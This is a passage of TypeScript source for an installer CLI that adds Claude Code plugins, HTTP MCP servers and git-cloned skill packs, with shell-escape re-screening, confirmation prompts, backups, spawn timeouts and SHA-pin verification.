'./lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isPluginRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// Parse `<plugin>@<marketplace>` and the marketplace URL/owner-repo from the\n// manifest cmd. cmd shape (per real manifests + CC docs):\n// `/plugin marketplace add <owner/repo-or-url> && /plugin install <plugin>@<marketplace>`\n// OR\n// `/plugin install <plugin>@<marketplace>` (marketplace pre-registered)\n// We extract:\n// - marketplaceRef: the token after `marketplace add` (can be owner/repo or URL)\n// - pluginAtMkt: the `<plugin>@<marketplace>` token after `plugin install`\ninterface ParsedCmd {\n marketplaceRef: string | null\n pluginAtMkt: string\n}\nfunction parseCmd(cmd: string): ParsedCmd | null {\n // marketplaceRef\n const mktMatch = cmd.match(/(?:\\/?plugin)\\s+marketplace\\s+add\\s+(\\S+)/i)\n // pluginAtMkt — strip leading slash, strip trailing semicolons/&&\n const pluginMatch = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!pluginMatch || pluginMatch[1] === undefined) return null\n const pluginAtMkt = pluginMatch[1].replace(/[;&]+$/, '')\n if (!pluginAtMkt.includes('@')) return null\n const mktRef = mktMatch && mktMatch[1] !== undefined ? mktMatch[1] : null\n return {\n marketplaceRef: mktRef,\n pluginAtMkt,\n }\n}\n\nexport const installCcPluginMarketplace: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installCcPluginMarketplace received non-cc-plugin-marketplace method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const parsed = parseCmd(install.cmd)\n if (!parsed) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `cc-plugin-marketplace cmd must contain \\`plugin install <plugin>@<marketplace>\\` (parsed from: '${install.cmd.slice(0, 100)}')`,\n 'cc-plugin-shape',\n ),\n suggest:\n 'see manifests/tools/ralph-loop.yaml or manifests/tools/superpowers.yaml for shape',\n },\n }\n }\n const pluginName = parsed.pluginAtMkt.split('@')[0] ?? parsed.pluginAtMkt\n\n // v3.0.2 hotfix: `--scope user` (writes ~/.claude.json) — CWD-independent,\n // EPERM-free in read-only launch dirs. Sister mcpStdioAdd v3.0.2 scope flip.\n const installArgs = ['plugin', 'install', parsed.pluginAtMkt, '--scope', 'user']\n const allArgs: string[][] = []\n if (parsed.marketplaceRef !== null) {\n allArgs.push(['plugin', 'marketplace', 'add', parsed.marketplaceRef])\n }\n allArgs.push(installArgs)\n\n // H2 defense-in-depth — re-screen every arg of every step.\n for (const argSet of allArgs) {\n for (const a of argSet) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed cc-plugin arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n }\n\n // v3.0.2: `--scope user` writes ~/.claude.json (user-global enabledPlugins\n // map) instead of <cwd>/.claude/settings.json (project-local). Diff target\n // updated to mirror. No `--dry-run` flag on `claude plugin install` — cmd\n // echo remains the audit trail.\n const settingsFile = `${getMcpSpawnCwd()}/.claude.json`\n const newEntry = JSON.stringify({ enabledPlugins: { [parsed.pluginAtMkt]: true } }, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: settingsFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json enabledPlugins map by \\`claude plugin install --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd;\n // homedir() avoids EPERM when user launches from a read-only CWD.\n const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n\n // Step 1 — marketplace add (D-20: non-zero is non-fatal; step 2 is the decider).\n let stepOneStderr = ''\n if (parsed.marketplaceRef !== null) {\n const r1 = await runArgs(['plugin', 'marketplace', 'add', parsed.marketplaceRef], spawnCwd)\n stepOneStderr = r1.stderr\n // intentional: do not return on r1.exitCode !== 0\n }\n\n // Step 2 — plugin install. This is the authoritative outcome decider.\n const r2 = await runArgs(installArgs, spawnCwd)\n if (r2.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude plugin install exited ${r2.exitCode}: ${r2.stderr.slice(0, 200)}${stepOneStderr ? ` | marketplace-add stderr: ${stepOneStderr.slice(0, 100)}` : ''}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // Sister mcpStdioAdd v3.0.3 verify rationale.\n const registered = await isPluginRegistered(pluginName)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: plugin '${pluginName}' not found in enabledPlugins map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude plugin install wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsFile] }\n}\n","// Phase 1.2 cross-OS spawn wrapper per ADR 0004 contract 6 + Pattern D + H.\n//\n// IMPL NOTE (Rule 1 / R03 § 3.7): Windows uses `cmd.exe /c <cmd> <args...>`\n// because npm/npx/claude shipped as .cmd shims under Win, and POSIX-style\n// `/bin/sh -c` is unavailable on raw Win (only inside Git-Bash/WSL). Unix\n// uses `/bin/sh -c \"<cmd> <joined-args>\"` so single-string cmds with pipes /\n// redirections still work consistently with what users typed in the manifest.\n//\n// IMPL NOTE (Rule 1 / B1 hotfix defense-in-depth, PATTERNS Pattern D pre-pass):\n// re-run `checkCmdString()` on the cmd right before spawn(). The phase 1.1.1\n// security gate in `validate.ts` already screens manifests, but a future\n// caller (phase 1.4 routing-engine / test harnesses / direct installer use\n// without validate.ts) might hand us an unvalidated cmd. Refuse to spawn\n// shell-escape patterns even at this layer — InstallResult `phase: 'preflight'`\n// + keyword `'security'` returned, never thrown.\n//\n// Pattern C: returns Result-shaped object {ok:true|false} — no throws on\n// expected paths (timeout, non-zero exit, security gate). Unexpected errors\n// (e.g. cmd binary not found / EACCES) bubble out as throws — the caller\n// (installer dispatch) catches and wraps.\n//\n// v3.0.2 hotfix (Windows cold-install timeout): npm-cli installers running\n// `npx --yes <pkg>@<ver> install` need >15s on Windows cold cache (user\n// reported gsd install timing out at 10s/15s). spawnCmd now accepts an\n// explicit `timeoutMs` arg from the caller — installers pass 60_000ms for\n// the install step; verify continues to honor spec.verify.timeout_ms (default\n// 15s) so manifest authors retain control. The pre-v3.0.2 bug: install spawn\n// was reading verify.timeout_ms (cross-purpose; verify-only field) which\n// shortened install timeout to whatever manifest authors set for verify.\n\nimport { type ChildProcess, spawn } from 'node:child_process'\nimport { checkCmdString } from '../../manifest/security.js'\nimport type { InstallContext, InstallResult } from './types.js'\n\nexport const DEFAULT_VERIFY_TIMEOUT_MS = 15_000\n/** v3.0.2: explicit install-step timeout — Windows cold npm/npx cache can\n * exceed 30-45s on first install. 60s default keeps fast-path zippy while\n * not failing legitimate cold installs. */\nexport const DEFAULT_INSTALL_TIMEOUT_MS = 60_000\n\nexport interface SpawnOk {\n ok: true\n exitCode: number\n stdout: string\n stderr: string\n}\n\n/**\n * Spawn `cmd args...` under the platform's default shell with B1 defense-\n * in-depth, env injection, cwd from manifest, and timeout.\n *\n * v3.0.2: `timeoutMs` is now an explicit caller-supplied arg. Pre-v3.0.2\n * read `spec.verify.timeout_ms` for BOTH install and verify spawns — a bug\n * because verify.timeout_ms is verify-only (e.g. gsd manifest sets 10000ms\n * for fast `--version` verify, but install needs >30s on Windows cold cache).\n * Callers now pass the timeout explicitly: installers use\n * DEFAULT_INSTALL_TIMEOUT_MS (60s), verify callers pass\n * `verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS` (15s).\n *\n * Returns:\n * - `SpawnOk` on completion (any exit code; caller decides if non-zero\n * means failure based on context — install vs verify vs idempotent_check)\n * - `InstallResult` failure shape on security gate / timeout\n */\nexport async function spawnCmd(\n ctx: InstallContext,\n cmd: string,\n args: string[],\n timeoutMs?: number,\n): Promise<SpawnOk | InstallResult> {\n // 1. B1 defense-in-depth — re-check the literal cmd string for shell escapes.\n const violation = checkCmdString(cmd)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `shell escape detected at spawn boundary: '${violation.label}' (${violation.hint}) — refusing to execute. v0.1 forbids dynamic shell evaluation; this is a defense-in-depth gate after schema validation.`,\n line: null,\n column: null,\n keyword: 'security-gate-bypass',\n },\n }\n }\n\n // 2. Platform branch — Win cmd.exe vs POSIX /bin/sh.\n const installCfg = ctx.manifest.spec.install\n // v3.0.2: timeoutMs MUST be explicit (back-compat: undefined → 60s install default).\n const effectiveTimeoutMs = timeoutMs ?? DEFAULT_INSTALL_TIMEOUT_MS\n const env = { ...process.env, ...(installCfg.env ?? {}) }\n const cwd = installCfg.cwd ?? ctx.cwd\n\n let child: ChildProcess\n if (process.platform === 'win32') {\n child = spawn('cmd.exe', ['/c', cmd, ...args], { cwd, env, windowsHide: true })\n } else {\n const joined = args.length > 0 ? `${cmd} ${args.join(' ')}` : cmd\n child = spawn('/bin/sh', ['-c', joined], { cwd, env })\n }\n\n // 3. Collect stdout/stderr + race against timeout.\n let stdout = ''\n let stderr = ''\n child.stdout?.setEncoding('utf8').on('data', (chunk: string) => {\n stdout += chunk\n })\n child.stderr?.setEncoding('utf8').on('data', (chunk: string) => {\n stderr += chunk\n })\n\n return await new Promise<SpawnOk | InstallResult>((resolve) => {\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn timed out after ${effectiveTimeoutMs}ms (cmd: ${cmd}); partial stderr: ${stderr.slice(0, 200)}`,\n line: null,\n column: null,\n keyword: 'spawn-timeout',\n },\n })\n }, effectiveTimeoutMs)\n\n child.on('error', (err) => {\n clearTimeout(timer)\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn failed: ${err.message}`,\n line: null,\n column: null,\n keyword: 'spawn-error',\n },\n })\n })\n\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ ok: true, exitCode: code ?? -1, stdout, stderr })\n })\n })\n}\n","// Phase 2.1 install method 4/6 — cc-skill-pack × git-clone-with-setup per ADR\n// 0004 § 5 + ADR 0007 install_type=git + ADR 0010 errata D-15.\n//\n// IMPL NOTE (Rule 1 / D-15): git_ref HEAD/main/master rejection is ALREADY\n// enforced by preflight.ts (git_ref shape regex). We do NOT re-implement that\n// here. Between spawn and verify we ADD a `git rev-parse HEAD` SHA-match\n// step (inline ≤10 lines per D-15 — only one caller; lib/gitVerify.ts would be\n// YAGNI). Mismatch → InstallError keyword:'sha-mismatch'.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; spawnCmd handles cross-OS\n// shell + B1 defense-in-depth in one place. Mirrors npmCli architecture.\n//\n// IMPL NOTE (Rule 1 / pure-create backup): git-clone creates new dirs (does\n// not edit existing files). DiffPlan.files entries use `oldText:''` per the\n// types.ts contract — backup writes a \"pure-create sentinel\" so rollback can\n// `rm -rf` the cloned dir.\n//\n// IMPL NOTE (Rule 1 / strict SHA pin per ADR 0001 版本锁哲学): the schema\n// regex permits SHA(7-40 hex) OR SemVer (v1.2.3); this installer enforces the\n// stricter SHA-only invariant for git_ref because `git rev-parse HEAD` after\n// `git clone --branch <tag>` produces a SHA, and SHA↔tag is not an authority\n// match — the SHA IS the authority. Real manifests already follow this:\n// ui-ux-pro-max.yaml + gstack.yaml both pin full 40-hex SHA. SemVer values\n// reaching this code path are surfaced as an installer-layer error (NOT a\n// silent skip), aligned with ADR 0001's reproducibility requirement.\n\nimport { spawn } from 'node:child_process'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// D-15 inline SHA-verify. Runs `git rev-parse HEAD` in the cloned dir,\n// compares against the manifest's git_ref. Only invoked after a successful\n// clone; called once per install — no lib helper warranted (YAGNI).\nfunction gitRevParseHead(cwd: string, timeoutMs = 10_000): Promise<{ sha: string; exit: number }> {\n return new Promise((resolve) => {\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'git', 'rev-parse', 'HEAD'], { cwd, windowsHide: true })\n : spawn('git', ['rev-parse', 'HEAD'], { cwd, shell: false })\n let stdout = ''\n child.stdout?.setEncoding('utf8').on('data', (c: string) => {\n stdout += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ sha: '', exit: -1 })\n }, timeoutMs)\n child.on('error', () => {\n clearTimeout(timer)\n resolve({ sha: '', exit: -1 })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ sha: stdout.trim(), exit: code ?? -1 })\n })\n })\n}\n\n// Extract the target clone directory from the manifest cmd. Required: we\n// must know the directory to run `git rev-parse HEAD` against post-clone. If\n// the cmd shape can't be parsed, we fail preflight clearly (no silent\n// fallback). Walks `git clone [flags] <url> <dest>` to find <dest>.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n // tokens[i] is the URL; tokens[i+1] is the dest. End-of-clause guards\n // (&&, ;, |) means the manifest omitted dest — git would default to a\n // repo-name dir in cwd, which is fragile; require explicit dest.\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const installGitCloneWithSetup: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installGitCloneWithSetup received non-git-clone-with-setup method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // Strict SHA-pin (ADR 0001 + D-15). Schema regex permits SemVer too, but\n // this installer enforces the tighter invariant: rev-parse HEAD returns a\n // SHA, so the authority must be a SHA. SemVer git_ref → preflight-layer error.\n if (!/^[a-f0-9]{7,40}$/.test(install.git_ref)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/git_ref',\n `git-clone-with-setup requires a full SHA git_ref (7-40 hex), got '${install.git_ref}' (ADR 0001 reproducibility — SHA is the only stable authority for git_rev-parse HEAD verification)`,\n 'sha-required',\n ),\n suggest: `pin git_ref to a 40-hex commit SHA from the upstream repo (e.g. \\`git rev-parse <tag-or-branch>\\` in the source)`,\n },\n }\n }\n\n // Parse clone target from cmd. Required for D-15 SHA-verify cwd; fail clear\n // if the manifest cmd shape is unsupported (`git clone <url> <dest>`).\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd does not contain a parseable \\`git clone <url> <dest>\\` invocation; D-15 SHA-verify requires an explicit destination directory`,\n 'git-clone-shape',\n ),\n suggest: 'use `git clone [flags] <url> <dest>` with an explicit destination directory',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan:\n // oldText:'' so backup writes a sentinel; rollback = `rm -rf` cloned dir.\n const name = ctx.manifest.metadata.name\n const plan: DiffPlan = {\n files: [\n {\n target: cloneTarget,\n scope: 'HOME',\n oldText: '',\n newText: `// new directory created by: ${install.cmd}\\n// pinned at git_ref ${install.git_ref}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // Run the manifest cmd as-is (rm + git clone + cp + cleanup pipeline).\n // spawnCmd handles cross-OS shell + B1 re-screen. cmd is single string.\n // v3.0.2: explicit install timeout (60s — git clone over network can exceed 15s).\n const sp = await spawnCmd(ctx, install.cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D-15 — SHA-verify. `git rev-parse HEAD` in clone target dir; match the\n // manifest git_ref by prefix (git's standard SHA-prefix semantics — a\n // 7-hex prefix is a valid name for the full 40-hex commit).\n const rp = await gitRevParseHead(cloneTarget)\n if (rp.exit !== 0 || !rp.sha) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git rev-parse HEAD failed in ${cloneTarget} (exit ${rp.exit}); cannot verify SHA pin '${install.git_ref}'`,\n 'sha-mismatch',\n ),\n }\n }\n if (!rp.sha.startsWith(install.git_ref)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git_ref SHA mismatch: manifest pinned '${install.git_ref}' but HEAD is '${rp.sha}' in ${cloneTarget}`,\n 'sha-mismatch',\n ),\n }\n }\n\n // verify cmd (e.g. `test -f ~/.claude/skills/<name>/SKILL.md`).\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s).\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [cloneTarget] }\n}\n","// Phase 2.1 install method 3/6 — mcp-npm × mcp-http-add per ADR 0004 § 5 + ADR 0010 errata.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. Sister\n// mcpStdioAdd.ts v3.0.2 reasoning verbatim — `--scope project` writes\n// `<cwd>/.mcp.json` which EPERMs in read-only CWD (C:\\Windows\\System32);\n// `--scope user` writes `~/.claude.json` user-global, CWD-independent.\n// The pre-v3.0.2 CC #54803 \"user scope broken\" bug has been resolved by the\n// Claude Code team (verified via `claude mcp add --help` 2026-05-21).\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` here cannot be overridden by\n// manifest fields — the manifest cmd string is treated as audit-trail only;\n// we authoritatively reconstruct the args array. Mirrors mcpStdioAdd.\n//\n// IMPL NOTE (Rule 1 / D-16 — env-resolution carve-out): `--header` values may\n// carry `${ENV_VAR}` references that look like shell escapes to B1's\n// checkCmdString. We resolve `${VAR}` from `process.env` BEFORE arg\n// construction, so the post-construction B1 re-screen sees plain values only.\n// Unset env var → InstallError keyword:'env-unset' before we touch the network.\n//\n// IMPL NOTE (Rule 1 / D-15 hot path): schema does NOT carry typed `url` or\n// `headers` fields (the install method schema has only cmd/cwd/env/args/\n// npm_version/idempotent_check). We extract the URL and headers by parsing\n// the manifest `install.cmd` string (already B1-screened by schema validate).\n// This matches the architectural discipline of \"cmd is audit-trail; we\n// reconstruct args authoritatively\". Headers parsing is conservative:\n// `--header \"Key: Value\"` (quoted) or `--header Key:\\ Value` (escaped).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. Same posture as\n// mcpStdioAdd.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): mirrors\n// mcpStdioAdd v3.0.3 — drop spawn-based verify in favor of fs-based check\n// against the authoritative `mcpServers` map.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isMcpServerRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// D-16 — resolve ${ENV_VAR} placeholders from process.env BEFORE arg\n// construction. Returns either the resolved value or throws-style {error}.\n// Result `{ ok: false, missing: string }` lets the caller emit a clear\n// InstallError with keyword:'env-unset' (single-cause failure, no fallback).\nfunction resolveEnvVars(\n value: string,\n): { ok: true; resolved: string } | { ok: false; missing: string } {\n const pattern = /\\$\\{([A-Z_][A-Z0-9_]*)\\}/g\n let resolved = value\n let match: RegExpExecArray | null\n pattern.lastIndex = 0\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((match = pattern.exec(value)) !== null) {\n const name = match[1]\n if (name === undefined) continue\n const v = process.env[name]\n if (v === undefined || v === '') {\n return { ok: false, missing: name }\n }\n resolved = resolved.replace(match[0], v)\n }\n return { ok: true, resolved }\n}\n\n// Parse `--header \"Key: Value\"` (quoted) or `--header Key:Value` tokens out of\n// the manifest cmd. Returns a flat header list ['--header','K: V', ...]\n// suitable for direct `claude mcp add` invocation. ${ENV_VAR} resolved here.\nfunction resolveHeaders(\n cmd: string,\n): { ok: true; flat: string[] } | { ok: false; missing: string } {\n const flat: string[] = []\n // Match: --header \"...\" OR --header '...' OR --header <non-space-token>\n const re = /--header\\s+(?:\"([^\"]+)\"|'([^']+)'|(\\S+))/g\n let m: RegExpExecArray | null\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((m = re.exec(cmd)) !== null) {\n const raw: string | undefined = m[1] ?? m[2] ?? m[3]\n if (raw === undefined || raw.length === 0) continue\n const res = resolveEnvVars(raw)\n if (!res.ok) return { ok: false, missing: res.missing }\n flat.push('--header', res.resolved)\n }\n return { ok: true, flat }\n}\n\n// Extract URL from cmd. mcp-http-add cmd shape (CC docs / ADR 0001 / phase 2.1\n// research): `claude mcp add --scope project --transport http <name> <url>\n// [--header \"...\"]...`. We pick the first http(s):// token.\nfunction extractUrl(cmd: string): string | null {\n const m = cmd.match(/\\bhttps?:\\/\\/\\S+/)\n return m ? m[0] : null\n}\n\nexport const installMcpHttpAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpHttpAdd received non-mcp-http-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const url = extractUrl(install.cmd)\n if (!url) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add cmd missing http(s):// URL token (parsed from install.cmd: '${install.cmd.slice(0, 80)}')`,\n 'http-url-missing',\n ),\n }\n }\n\n // D-16: resolve --header ${ENV_VAR} BEFORE constructing addArgs. Unset env\n // var → fail clear, do not silently drop the header (would expose a public\n // unauth call to a presumed-auth server).\n const hdr = resolveHeaders(install.cmd)\n if (!hdr.ok) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add --header references unset env var '${hdr.missing}'; set it (export ${hdr.missing}=...) or remove the header from the manifest`,\n 'env-unset',\n ),\n suggest: `export ${hdr.missing}=<value> && harnessed install <name>`,\n },\n }\n }\n\n // v3.0.2 hotfix: `--scope user` writes ~/.claude.json (user-global config,\n // CWD-independent). Pre-v3.0.2 `--scope project` writes <cwd>/.mcp.json\n // which EPERMs in read-only CWD. Mirrors mcpStdioAdd v3.0.2 scope flip.\n const addArgs = ['mcp', 'add', '--scope', 'user', '--transport', 'http', ...hdr.flat, name, url]\n\n // H2 defense-in-depth — re-screen each constructed arg. Header values were\n // env-resolved above, so no ${VAR} pattern reaches this check; URL is a\n // plain http(s) string.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-http-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // v3.0.2: diff target is ~/.claude.json (user-global, `--scope user`)\n // instead of <cwd>/.mcp.json (project-local). Entry shape per CC spec:\n // { [name]: { type: 'http', url, headers: {Key:Value} } } — non-stdio.\n const mcpFile = `${getMcpSpawnCwd()}/.claude.json`\n // Reassemble headers as an object for the diff preview (purely informational).\n const headersObj: Record<string, string> = {}\n for (let i = 0; i < hdr.flat.length; i += 2) {\n const kv = hdr.flat[i + 1]\n if (!kv) continue\n const ci = kv.indexOf(':')\n if (ci > 0) headersObj[kv.slice(0, ci).trim()] = kv.slice(ci + 1).trim()\n }\n const entry =\n Object.keys(headersObj).length > 0\n ? { [name]: { type: 'http', url, headers: headersObj } }\n : { [name]: { type: 'http', url } }\n const newEntry = JSON.stringify(entry, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json mcpServers map by \\`claude mcp add --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes to ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd;\n // homedir() avoids EPERM when user launches harnessed from a read-only CWD.\n const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n const r = await runArgs(addArgs, spawnCwd)\n if (r.exitCode !== 0) {\n 